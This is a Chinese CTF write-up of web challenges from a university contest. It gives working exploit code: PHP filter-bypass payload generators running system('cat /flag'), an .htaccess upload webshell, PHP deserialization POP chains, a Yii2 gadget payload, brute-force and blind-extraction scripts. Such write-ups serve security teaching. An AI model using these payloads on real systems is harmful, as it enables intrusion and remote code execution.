主頁 >  其他 > [SCU校賽]Web部分-Writeup

[SCU校賽]Web部分-Writeup

2021-06-09 21:11:38 其他

文章目錄

  • 寫在前面
  • 入門
  • fastapi
    • 解法一
    • 解法二
    • 解法三
  • shell
  • 奇妙的驗證碼
  • 野獸先輩的檔案
  • Bypass_waf
    • 解法一
    • 解法二
    • 解法三
  • upload
  • unserialize
  • ez_upload
  • easy_yii
  • ez_auth
  • not_sql
  • 有手就行
  • 推薦文章

寫在前面

我出的題不太難，但是有意思，個人感覺質量還是不錯的，有簡單有難，區分度明顯，這里出個部分wp，這里感謝atao讓本懶狗少了一部分作業量o(￣▽￣)ブ

入門

在這里插入圖片描述

fastapi

本來是作為一個簽到題出的，事實上也是
首先看到官網，有個能查到api的地方得到路徑
在這里插入圖片描述
看到引數名，想到后端是eval，題目里面打錯了是f10g，
在這里插入圖片描述
直接

解法一

在這里插入圖片描述

解法二

可以執行任意命令了
在這里插入圖片描述

解法三

當然SSTI的方式也可以打出來，自己去找找學一學，看看我的這一篇

shell

倒是不難，出了點小事故后面又放了新的，這里寫下預期

preg_match('/[0-9]|[a-z]|\^|\+|\||\$|\[|\]|\{|\}|\&|\-/i', $c)

能看到這里過濾蠻多，但是發現~在，直接取反就行了，Y4自用腳本建議私藏

<?php

function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

negateRce();

在這里插入圖片描述
執行，有手就行

system("cat /flag");

奇妙的驗證碼

被某個野獸出題人要求做了一下，這里整理我的題目的時候看到了腳本就順便說一下
爆出密碼
在這里插入圖片描述
得到flag
在這里插入圖片描述
腳本如下，比較騷，彈計算器，不愧是某pu

import requests
session = requests.session()

url_pre = 'http://xxxxx'
url_cap = url_pre + '/captcha.php'
url_log = url_pre + '/login.php'

for i in range(1000,9999):
    res = session.get(url_cap).text
    while '__import__' in res:
        res = session.get(url_cap).text
    data = {
        'username': 'admin',
        'password': f'{i}',
        'captcha': (eval(res)),
        'objectType': 'Window',
    }
    r = session.post(url_log, data=data)
    if "Wrong username or password" not in eval(r.text)['msg']:
        print(r.text)
        print(i)

野獸先輩的檔案

首先點開題目，界面很簡單

在這里插入圖片描述

嘗試下載flag,發現足足1pb，這么大的檔案顯然無法在合理的時間下載完
在這里插入圖片描述

已經暗示（其實幾乎是明示）了flag就在檔案的末尾，要“跳過去”看，

想想平時用的多執行緒下載器，它可以從檔案的中間部分下載，每一個執行緒負責下載檔案的某一部分最后組合起來，實作多執行緒告訴下載，這樣的下載器都能跳，那么一定有一個方法可以從檔案中的任意一點開始下載，
在這里插入圖片描述

這個時候，動動手指就可以搜到原理了，
在這里插入圖片描述
看到range頭格式如下，
在這里插入圖片描述
那么打開我們心愛的Burp，手動發包試試，
（Burp的基礎原理這道題就不介紹了，Google，請
在這里插入圖片描述
如上圖所示，當我們請求Range為1000-2000的時候，服務器回傳了檔案1000-2000位元組的內容，并且告訴了我們檔案的總大小是1145141919810893個位元組，順便說一下我們的瀏覽器也是通過這種辦法在下載檔案的時候獲取檔案的總大小的，

那么我們更換bytes里的內容，直接讀取檔案最后，就可以拿到flag了，
在這里插入圖片描述

Bypass_waf

在這里插入圖片描述
看到就怕了吧，hh
在這里插入圖片描述

解法一

php太靈活了，所以繞過很多，自寫腳本，自己理解下

<?php
/**
 * Created by Y4tacker
 **/



function generatePayload($eval){
    $res = '';
    for ($i=0;$i<strlen($eval);$i++){
        if ($i!=strlen($eval)-1){
            $tmp = "chr(".ord($eval[$i]).").";
        }else{
            $tmp = "chr(".ord($eval[$i]).")";
        }
        $res.=$tmp;
    }
    return "(join(array(".$res.")))";
}

$eval = "system";
$command = "cat /flag";

echo "eval=".generatePayload($eval).generatePayload($command).";&look=1";

解法二

對于POST的內容，它是通過file_get_contents('php://input')獲得的內容，這里就有了第一個繞過方法，將POST請求改為multipart/form-data則上述方法無法接收到引數，過濾函式就無法起到作用，可以繞過，
在這里插入圖片描述

解法三

Payload來自：lastsward
在這里插入圖片描述

upload

點我學一學
這里發現存在原始碼泄露www.zip，
過濾了file，用\繞過即可
在這里插入圖片描述

<Fil\
es .htaccess>
SetHandler application/x-httpd-php
Require all granted
php_flag engine on
</Fi\
les>
php_value auto_prepend_fi\
le .htaccess
#<?php phpinfo();

在這里插入圖片描述
這里用php自帶函式繞過
在這里插入圖片描述

unserialize

考點：簡單的POP鏈構造、MD5碰撞
代碼如下：

<?php
error_reporting(0);
highlight_file(__FILE__);
class hackMe{
    protected $formatters;   
    public function __call($method, $attributes){
        return $this->format($method, $attributes);
    }
    
    public static function hackMMM(){
        echo "Hello web🐶!";
    }

    public function format($formatter, $arguments)
    {
        $this->getFormatter($formatter)->patch($arguments[0][4][1]);
    }
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
    }
}

class Ox401{
    protected $events;
    protected $event;
    public function __destruct(){
        $this->events->dispatch($this->event);
    }
     public static function welcome(){
        echo "Welcome to 0x401 Team!";
    }
}

class flag{
    protected $f1ag;
    public function patch($Fire){
        call_user_func($this->f1ag,$Fire);
    }
}

if($_POST['a']!=$_POST['b'] && md5($_POST['a'])===md5($_POST['b'])){
    if(file_get_contents(substr($_POST['a'],0,20))!=null){
        @unserialize(base64_decode($_POST['c']));
    }else{
        hackMe::hackMMM();
    }
}else{
    Ox401::welcome();
}
?>

在進行反序列化之前會有md5的強比較，之前遇到這種值的時候，一般繞過手段是使用陣列或者是一對特定的字串，但是這里額外加入了一個條件file_get_contents(substr($_POST['a'],0,20))，如果去不到這個檔案，那也不能進行反序列化，所以這里使用了fastcoll工具，它可以對指定檔案進行md5碰撞，從而獲得兩個md5值相同的檔案

shell
fastcoll.exe -p 123.txt -o 1.txt 2.txt
工具下載
鏈接:https://pan.baidu.com/s/1t8q89aP50oiFVyFe0JrbJw
提取碼:atao
復制這段內容后打開百度網盤手機App，操作更方便哦

接著就是構造POP鏈了

class Ox401 -> __destruct		//建立hackMe物件,當呼叫不存在的方法時觸發__call
↓↓↓
class hackMe -> __call 			//建立flag物件
↓↓↓
class flag -> patch				//回呼函式進行代碼執行

exp

<?php
class hackMe{
    protected $formatters;
    public function __construct(){
        $this->formatters['dispatch'] = new flag();
    }
}

class Ox401{
    protected $events;
    protected $event;
    public function __construct(){
        $this->events = new hackMe();
        $this->event[4][1]= "cat /flag";
    }
}

class flag{
    protected $f1ag = "system";
}

echo base64_encode(serialize(new Ox401()))."\n";

ez_upload

過濾的更嚴格了，這里推薦另一種之前考過的利用htaccess讀檔案，這樣如果flag匹配到，則404頁面顯示y4tacker，因此利用這個特性搞定

import requests
import string

addr = '28957c94804599d479ebab0c1eb12156'
def check(a):
  f = '''
  <If "fi\\
le('/flag')=~ /'''+a+'''/">
 ErrorDocument 404 "y4tacker"
 </If>
  '''
  resp = requests.post("http://42x.250:xxxx/index.php",data={'submit': 'submit'}, files={'file': ('.htaccess',f)} )
  a = requests.get("http://42.1xxxx18816/upload/"+addr+"/a").text
  if "y4tacker" not in a:
   return False
  else:
   return True
flag = "flag{"
c = "u-"+string.ascii_letters + string.digits + "\{\}"
for j in range(32):
 for i in c:
  print("checking: "+ flag+i)
  if check(flag+i):
   flag = flag+i
   print(flag)
   break
  else:
   continue

easy_yii

看到這個，根據hint就去學一下yii利用鏈子就行了
在這里插入圖片描述
我博客也有的，很簡單，學一下命名空間請

加了點過濾而已，最終payload


http://url/web/?r=test/test&name=O%3A23%3A%22yii%5Cdb%5CBatchQueryResult%22%3A1%3A%7Bs%3A36%3A%22%00yii%5Cdb%5CBatchQueryResult%00_dataReader%22%3BO%3A15%3A%22Faker%5CGenerator%22%3A1%3A%7Bs%3A13%3A%22%00%2A%00formatters%22%3Ba%3A1%3A%7Bs%3A5%3A%22close%22%3Ba%3A2%3A%7Bi%3A0%3BO%3A20%3A%22yii%5Crest%5CIndexAction%22%3A2%3A%7Bs%3A11%3A%22checkAccess%22%3Bs%3A14%3A%22highlight_file%22%3Bs%3A2%3A%22id%22%3Bs%3A5%3A%22%2Fflag%22%3B%7Di%3A1%3Bs%3A3%3A%22run%22%3B%7D%7D%7D%7D


<?php
namespace yii\db;
class BatchQueryResult extends \yii\base\BaseObject{
    private $_dataReader;
    public function __construct()
    {
        $this->_dataReader=new \Faker\Generator();
    }
}
namespace yii\base;
class BaseObject{
}
namespace yii\rest;
class Action{

    public $checkAccess='highlight_file';
    public $id='/flag';
}
class IndexAction extends Action{
}
namespace Faker;
class Generator{
    protected $formatters = array();
    public function __construct()
    {
        $this->formatters['close']=[(new \yii\rest\IndexAction()),"run"];
    }
}
use \yii\db\BatchQueryResult;
$c=new BatchQueryResult();
print(urlencode(serialize($c)));

ez_auth

打開題目代碼如下

<?php 
error_reporting(0); 
include "config.php"; 

function LoginSign($array, $key) 
{ 
    if (isset($array['auth'])){ 
        unset($array['auth']); 
    } 
    return md5(implode('-', $array) . $key); 
} 

foreach ($_GET as $key => $val) { 
    if (!isset($$key)) { 
        $$key = $val; 
    } 
} 

foreach ($_POST as $key => $val) { 
    //過濾全域變數 
    if (isset($key) && $val[0] !== '_') { 
        $tmp = json_decode($val); 
        foreach ($tmp as $kkey => $vval) { 
            ${$key}[$kkey] = $vval; 
        } 
    }else{ 
        die("fucccc????"); 
    } 
} 
if (isset($auth)) { 
    if (LoginSign($_GET, $secrett) === $auth) { 
        if (in_array($username, array('admin'))) { 
            echo("Congratulations!</br>Give you flag?:"); 
            echo fread(fopen("/flag","r"),200); 
        } else { 
            echo 'welcome ' . $username . 'but only admin can get flag!'; 
            echo '</br>'; 
        } 
    } else { 
        echo 'wrong auth.</br>Guess the authkey???'; 
    } 
} else { 
    highlight_file(__FILE__); 
    die("Please Login first!"); 
     
}

我們需要抓住幾個地方，第一點，對于不存在的變數，可以通過get請求實作賦值

foreach ($_GET as $key => $val) { 
    if (!isset($$key)) { 
        $$key = $val; 
    } 
}

第二點，我們可以通過post傳參實作對除全域變數以外的值

foreach ($_POST as $key => $val) { 
    //過濾全域變數 
    if (isset($key) && $val[0] !== '_') { 
        $tmp = json_decode($val); 
        foreach ($tmp as $kkey => $vval) { 
            ${$key}[$kkey] = $vval; 
        } 
    }else{ 
        die("fucccc????"); 
    } 
}

回到拿flag的地方

if (isset($auth)) { 
    if (LoginSign($_GET, $secrett) === $auth) { 
        if (in_array($username, array('admin'))) { 
            echo("Congratulations!</br>Give you flag?:"); 
            echo fread(fopen("/flag","r"),200); 
        }

我們從最里層一層一層網上，首先是in_array($username, array('admin')，，沒有username變數，可以通過GET請求賦值為admin使其滿足條件，下一層
LoginSign($_GET, $secrett) === $auth

function LoginSign($array, $key) 
{ 
    if (isset($array['auth'])){ 
        unset($array['auth']); 
    } 
    return md5(implode('-', $array) . $key); 
}

我們通過get傳參傳入的變數auth與真正的auth的md5進行比較，而由于可以使用post傳參進行變數覆寫，這個auth也自然可控制了，參考payload

http://xxx/index.php?username=admin&auth=b5d0baf7bc06b412e077c422e5b3cb74

secrett=["1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1", "1","1", "1", "1", "1", "1", "1", "1", "1","1", "1", "1", "1", "1", "1", "1","1", "1", "1", "1"]

not_sql

在這里插入圖片描述

原始碼泄露www.zip
首先是index.php，根據file傳入引數引入檔案

<?php
require_once "func.php";

if(isset($_GET['file'])){
	require_once(__DIR__."/".$_GET['file'].".php");
}
else{
	if($_SESSION['login']=='apuNvZHuang'){
		echo "<script>window.location.href='./index.php?file=update'</script>";
	}
	else{
		echo "<script>window.location.href='./index.php?file=login'</script>";
	}
}
?>

接下來是登錄頁面，還算是比較嚴格
在這里插入圖片描述
從update,php當中可以看見，只要登錄就有flag

<?php
require_once('func.php');
echo '<html>
<meta charset="utf-8">
<title>update</title>
</html>';
if ($_SESSION['login']!='apuNvZHuang'){
	echo "登陸admin就給Flag，我保證，🙏！";
}
$users=new User();
$users->update();
if($_SESSION['login']==='apuNvZHuang'){
	require_once("flag.php");
	echo $flag;
}

?>

接下來func.php

<?php
error_reporting(0);
session_start();
function safe($parm){
        $array= array('out','like','union','regexp','load','into','flag','dump','insert',"'",'\\',"*","alter");
    return str_replace($array,'fuckU!',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
        $mysqli=new dbCtrl();
        $this->id=$mysqli->login('select id,password from user where username=?');
        if($this->id){
        $_SESSION['id']=$this->id;  
        $_SESSION['login']='apuNvZhuang';
        echo "你好！".$_SESSION['token'];
        echo "<script>window.location.href='./update.php'</script>";
        return $this->id;
        }
    }
}
    public function update(){
        $Info=unserialize($this->getNewinfo());
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);
    }
    public function getNewInfo(){
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危
    }
    public function __toString()
    {
        $this->nickname->update($this->age);
        return "";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }   
    public function __call($name,$argument){
        echo $this->CtrlCase->login($argument[0]);
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()
    {
        echo $this->sql;
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="y4tacker";
    public $dbpass="y4tacker";
    public $database="y4tacker";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("connection error:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('wrong user!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('wrong password！');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }

}

又臭又長，但是首行很明顯，能猜測考點是反序列化字符逃逸

function safe($parm){
        $array= array('out','like','union','regexp','load','into','flag','dump','insert',"'",'\\',"*","alter");
    return str_replace($array,'fuckU!',$parm);
}

找找利用點，
在這里插入圖片描述

很明顯接下來就是構造pop鏈了

UpdateHelper->__destruct
User->__toString
Info->__call
dbCtrl->login

給出鏈子大家學一學

class User
{
    public $age='select password,id from user where username=?';
    public $nickname=null;
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
}
class UpdateHelper
{
    public $sql;
}
class dbCtrl
{
    public $hostname = "127.0.0.1";
    public $dbuser="noob123";
    public $dbpass="noob123";
    public $database="noob123";
    public $name='admin';
    public $token = 'admin';
}

function post($data){
    $data = http_build_query($data);
    $opts = array (
        'http' => array (
            'method' => 'POST',
            'header'=> "Content-type: application/x-www-form-urlencoded\r\n" .
                "Content-Length: " . strlen($data) . "\r\n",
            'content' => $data
        )
    );
    $html = file_get_contents('http://42.192.137.212:1235/index.php?action=update', false, stream_context_create($opts));
    echo $html;
}

$x = new UpdateHelper();
$x->sql = new User();
$x->sql->nickname = new Info();
$x->sql->nickname->CtrlCase = new dbCtrl();

如果我們能夠正確反序列化也就可以實作任意sql陳述句的執行了
接下來我們去實作逃逸的操作，這里我用union沒替換為一次fu**u!就擠出去一個字符

$p = '";s:8:"CtrlCase";' . serialize($x) . "}";
$p = str_repeat('union', strlen($p)).$p;
echo($p);

有手就行

[MTCTF]從出題人視角看ez_cms

推薦文章

無字母數字webshell之提高篇
[CTF]PHP反序列化總結
[CTF].htaccess的使用技巧總結
[PHP代碼審計][CVE-2020-15148]Yii2＜2.0.38反序列化命令執行

轉載請註明出處，本文鏈接：https://www.uj5u.com/qita/286211.html

標籤：其他

上一篇：第149天學習打卡（Kubernetes 部署nginx 部署Dashboard）

下一篇：CKA考試經驗和技巧｜尋找C站“寶藏”

標籤雲
其他(157675) Python(38076) JavaScript(25376) Java(17977) C(15215) 區塊鏈(8255) C＃(7972) AI(7469) 爪哇(7425) MySQL(7132) html(6777) 基礎類(6313) sql(6102) 熊猫(6058) PHP(5869) 数组(5741) R(5409) Linux(5327) 反应(5209) 腳本語言(PerlPython)(5129) 非技術區(4971) Android(4554) 数据框(4311) css(4259) 节点.js(4032) C語言(3288) json(3245) 列表(3129) 扑(3119) C++語言(3117) 安卓(2998) 打字稿(2995) VBA(2789) Java相關(2746) 疑難問題(2699) 细绳(2522) 單片機工控(2479) iOS(2429) ASP.NET(2402) MongoDB(2323) 麻木的(2285) 正则表达式(2254) 字典(2211) 循环(2198) 迅速(2185) 擅长(2169) 镖(2155) 功能(1967) .NET技术(1958) Web開發(1951) python-3.x(1918) HtmlCss(1915) 弹簧靴(1913) C++(1909) xml(1889) PostgreSQL(1872) .NETCore(1853) 谷歌表格(1846) Unity3D(1843) for循环(1842)

熱門瀏覽
  • 網閘典型架構簡述

    網閘架構一般分為兩種：三主機的三系統架構網閘和雙主機的2+1架構網閘。 三主機架構分別為內端機、外端機和仲裁機。三機無論從軟體和硬體上均各自獨立。首先從硬體上來看，三機都用各自獨立的主板、記憶體及存盤設備。從軟體上來看，三機有各自獨立的作業系統。這樣能達到完全的三機獨立。對于“2+1”系統，“2”分為 ......

    uj5u.com 2020-09-10 02:00:44 more
  • 如何從xshell上傳檔案到centos linux虛擬機里

    如何從xshell上傳檔案到centos linux虛擬機里及：虛擬機CentOs下執行 yum -y install lrzsz命令，出現錯誤：鏡像無法找到軟體包 前言 一、安裝lrzsz步驟 二、上傳檔案 三、遇到的問題及解決方案 總結 前言 提示：其實很簡單，往虛擬機上安裝一個上傳檔案的工具 ......

    uj5u.com 2020-09-10 02:00:47 more
  • 一、SQLMAP入門

    一、SQLMAP入門 1、判斷是否存在注入 sqlmap.py -u 網址/id=1 id=1不可缺少。當注入點后面的引數大于兩個時。需要加雙引號， sqlmap.py -u "網址/id=1&uid=1" 2、判斷文本中的請求是否存在注入 從文本中加載http請求，SQLMAP可以從一個文本檔案中 ......

    uj5u.com 2020-09-10 02:00:50 more
  • Metasploit 簡單使用教程

    metasploit 簡單使用教程 浩先生， 2020-08-28 16:18:25 分類專欄： kail 網路安全 linux 文章標簽： linux資訊安全 編輯 著作權 metasploit 使用教程 前言 一、Metasploit是什么？ 二、準備作業 三、具體步驟 前言 Msfconsole ......

    uj5u.com 2020-09-10 02:00:53 more
  • 游戲逆向之驅動層與用戶層通訊

    驅動層代碼： #pragma once #include <ntifs.h> #define add_code CTL_CODE(FILE_DEVICE_UNKNOWN,0x800,METHOD_BUFFERED,FILE_ANY_ACCESS) /* 更多游戲逆向視頻www.yxfzedu.com ......

    uj5u.com 2020-09-10 02:00:56 more
  • 北斗電力時鐘（北斗授時服務器）讓網路資料更精準

    北斗電力時鐘（北斗授時服務器）讓網路資料更精準 北斗電力時鐘（北斗授時服務器）讓網路資料更精準 京準電子科技官微——ahjzsz 近幾年，資訊技術的得了快速發展，互聯網在逐漸普及，其在人們生活和生產中都得到了廣泛應用，并且取得了不錯的應用效果。計算機網路資訊在電力系統中的應用，一方面使電力系統的運行 ......

    uj5u.com 2020-09-10 02:01:03 more
  • 【CTF】CTFHub 技能樹 彩蛋 writeup

    ?碎碎念 CTFHub：https://www.ctfhub.com/ 筆者入門CTF時時剛開始刷的是bugku的舊平臺，后來才有了CTFHub。 感覺不論是網頁UI設計，還是題目質量，賽事跟蹤，工具軟體都做得很不錯。 而且因為獨到的金幣制度的確讓人有一種想去刷題賺金幣的感覺。 個人還是非常喜歡這個 ......

    uj5u.com 2020-09-10 02:04:05 more
  • 02windows基礎操作

    我學到了一下幾點 Windows系統目錄結構與滲透的作用 常見Windows的服務詳解 Windows埠詳解 常用的Windows注冊表詳解 hacker DOS命令詳解（net user / type /md /rd/ dir /cd /net use copy、批處理 等） 利用dos命令制作 ......

    uj5u.com 2020-09-10 02:04:18 more
  • 03.Linux基礎操作

    我學到了以下幾點 01Linux系統介紹02系統安裝，密碼啊破解03Linux常用命令04LAMP 01LINUX windows： win03 8 12 16 19 配置不繁瑣 Linux：redhat,centos(紅帽社區版)，Ubuntu server,suse unix:金融機構，證券，銀 ......

    uj5u.com 2020-09-10 02:04:30 more
  • 05HTML

    01HTML介紹 02頭部標簽講解03基礎標簽講解04表單標簽講解 HTML前段語言 js1.了解代碼2.根據代碼 懂得挖掘漏洞 （POST注入/XSS漏洞上傳）3.黑帽seo 白帽seo 客戶網站被黑帽植入劫持代碼如何處理4.熟悉html表單 <html><head><title>TDK標題，描述 ......

    uj5u.com 2020-09-10 02:04:36 more
最新发布
  • 2023年最新微信小程式抓包教程

    01 開門見山 隔一個月發一篇文章，不過分。 首先回顧一下《微信系結手機號資料庫被脫庫事件》，我也是第一時間得知了這個訊息，然后跟蹤了整件事情的經過。下面是這起事件的相關截圖以及近日流出的一萬條資料樣本： 個人認為這件事也沒什么，還不如關注一下之前45億快遞資料查詢渠道疑似在近日復活的訊息。 訊息是 ......

    uj5u.com 2023-04-20 08:48:24 more
  • web3 產品介紹：metamask 錢包 使用最多的瀏覽器插件錢包

    Metamask錢包是一種基于區塊鏈技術的數字貨幣錢包，它允許用戶在安全、便捷的環境下管理自己的加密資產。Metamask錢包是以太坊生態系統中最流行的錢包之一，它具有易于使用、安全性高和功能強大等優點。 本文將詳細介紹Metamask錢包的功能和使用方法。 一、 Metamask錢包的功能 數字資 ......

    uj5u.com 2023-04-20 08:47:46 more
  • vulnhub_Earth

    前言 靶機地址->>>vulnhub_Earth 攻擊機ip：192.168.20.121 靶機ip：192.168.20.122 參考文章 https://www.cnblogs.com/Jing-X/archive/2022/04/03/16097695.html https://www.cnb ......

    uj5u.com 2023-04-20 07:46:20 more
  • 從4k到42k，軟體測驗工程師的漲薪史，給我看哭了

    清明節一過，盲猜大家已經無心上班，在數著日子準備過五一，但一想到銀行卡里的余額……瞬間心情就不美麗了。最近，2023年高校畢業生就業調查顯示，本科畢業月平均起薪為5825元。調查一出，便有很多同學表示自己又被平均了。看著這一資料，不免讓人想到前不久中國青年報的一項調查：近六成大學生認為畢業10年內會 ......

    uj5u.com 2023-04-20 07:44:00 more
  • 最新版本 Stable Diffusion 開源 AI 繪畫工具之中文自動提詞篇

    🎈 標簽生成器 由于輸入正向提示詞 prompt 和反向提示詞 negative prompt 都是使用英文，所以對學習母語的我們非常不友好 使用網址：https://tinygeeker.github.io/p/ai-prompt-generator 這個網址是為了讓大家在使用 AI 繪畫的時候 ......

    uj5u.com 2023-04-20 07:43:36 more
  • 漫談前端自動化測驗演進之路及測驗工具分析

    隨著前端技術的不斷發展和應用程式的日益復雜，前端自動化測驗也在不斷演進。隨著 Web 應用程式變得越來越復雜，自動化測驗的需求也越來越高。如今，自動化測驗已經成為 Web 應用程式開發程序中不可或缺的一部分，它們可以幫助開發人員更快地發現和修復錯誤，提高應用程式的性能和可靠性。 ......

    uj5u.com 2023-04-20 07:43:16 more
  • CANN開發實踐：4個DVPP記憶體問題的典型案例解讀

    摘要：由于DVPP媒體資料處理功能對存放輸入、輸出資料的記憶體有更高的要求（例如，記憶體首地址128位元組對齊），因此需呼叫專用的記憶體申請介面，那么本期就分享幾個關于DVPP記憶體問題的典型案例，并給出原因分析及解決方法。 本文分享自華為云社區《FAQ_DVPP記憶體問題案例》，作者：昇騰CANN。 DVPP ......

    uj5u.com 2023-04-20 07:43:03 more
  • msf學習

    msf學習 以kali自帶的msf為例 一、msf核心模塊與功能 msf模塊都放在/usr/share/metasploit-framework/modules目錄下 1、auxiliary 輔助模塊，輔助滲透（埠掃描、登錄密碼爆破、漏洞驗證等） 2、encoders 編碼器模塊，主要包含各種編碼 ......

    uj5u.com 2023-04-20 07:42:59 more
  • Halcon軟體安裝與界面簡介

    1. 下載Halcon17版本到到本地 2. 雙擊安裝包后 3. 步驟如下 1.2 Halcon軟體安裝 界面分為四大塊 1. Halcon的五個助手 1) 影像采集助手：與相機連接，設定相機引數，采集影像 2) 標定助手：九點標定或是其它的標定，生成標定檔案及內參外參，可以將像素單位轉換為長度單位 ......

    uj5u.com 2023-04-20 07:42:17 more
  • 在MacOS下使用Unity3D開發游戲

    第一次發博客，先發一下我的游戲開發環境吧。 去年2月份買了一臺MacBookPro2021 M1pro(以下簡稱mbp)，這一年來一直在用mbp開發游戲。我大致分享一下我的開發工具以及使用體驗。 1、Unity 官網鏈接： https://unity.cn/releases 我一般使用的Apple ......

    uj5u.com 2023-04-20 07:40:19 more

Copyright © 2010-2020 有解無憂